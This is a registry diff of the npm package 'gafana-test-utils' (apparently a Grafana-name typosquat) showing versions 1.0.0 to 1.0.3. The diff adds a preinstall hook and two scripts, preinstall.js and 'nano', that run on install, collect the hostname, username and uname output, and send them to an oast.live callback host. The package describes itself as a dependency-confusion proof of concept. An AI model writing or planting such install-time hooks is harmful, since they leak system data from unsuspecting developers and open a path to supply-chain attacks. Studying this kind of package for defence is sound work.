gafana-test-utils 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/nano +13 -0
- package/package.json +7 -4
- package/preinstall.js +17 -0
package/nano
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
const hostname = os.hostname();
|
|
5
|
+
const platform = os.platform();
|
|
6
|
+
const arch = os.arch();
|
|
7
|
+
const user = os.userInfo().username;
|
|
8
|
+
|
|
9
|
+
const url = `https://d21ivhp1og82gj9967308gj75juz3g8ux.oast.live/${hostname}_${user}_${platform}_${arch}`;
|
|
10
|
+
|
|
11
|
+
https.get(url, (res) => {
|
|
12
|
+
res.on('data', () => {});
|
|
13
|
+
}).on('error', () => {});
|
package/package.json
CHANGED
|
@@ -1,11 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gafana-test-utils",
|
|
3
|
-
"version": "1.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "1.0.3",
|
|
4
|
+
"description": "PoC for dependency confusion with preinstall RCE via Interactsh",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"preinstall": "
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
8
|
},
|
|
9
9
|
"author": "himanshu",
|
|
10
|
-
"license": "MIT"
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"dependencies": {
|
|
12
|
+
"gafana-test-utils": "^1.0.2"
|
|
13
|
+
}
|
|
11
14
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// Gather system info
|
|
5
|
+
const hostname = execSync('hostname').toString().trim();
|
|
6
|
+
const whoami = execSync('whoami').toString().trim();
|
|
7
|
+
const uname = execSync('uname -a').toString().trim();
|
|
8
|
+
|
|
9
|
+
// Encode in base64 or URI (to avoid bad chars)
|
|
10
|
+
const payload = encodeURIComponent(`${hostname}__${whoami}__${uname}`);
|
|
11
|
+
|
|
12
|
+
const url = `https://d21ivhp1og82gj9967308gj75juz3g8ux.oast.live/${payload}`;
|
|
13
|
+
|
|
14
|
+
https.get(url, (res) => {
|
|
15
|
+
res.on('data', () => {});
|
|
16
|
+
}).on('error', () => {});
|
|
17
|
+
|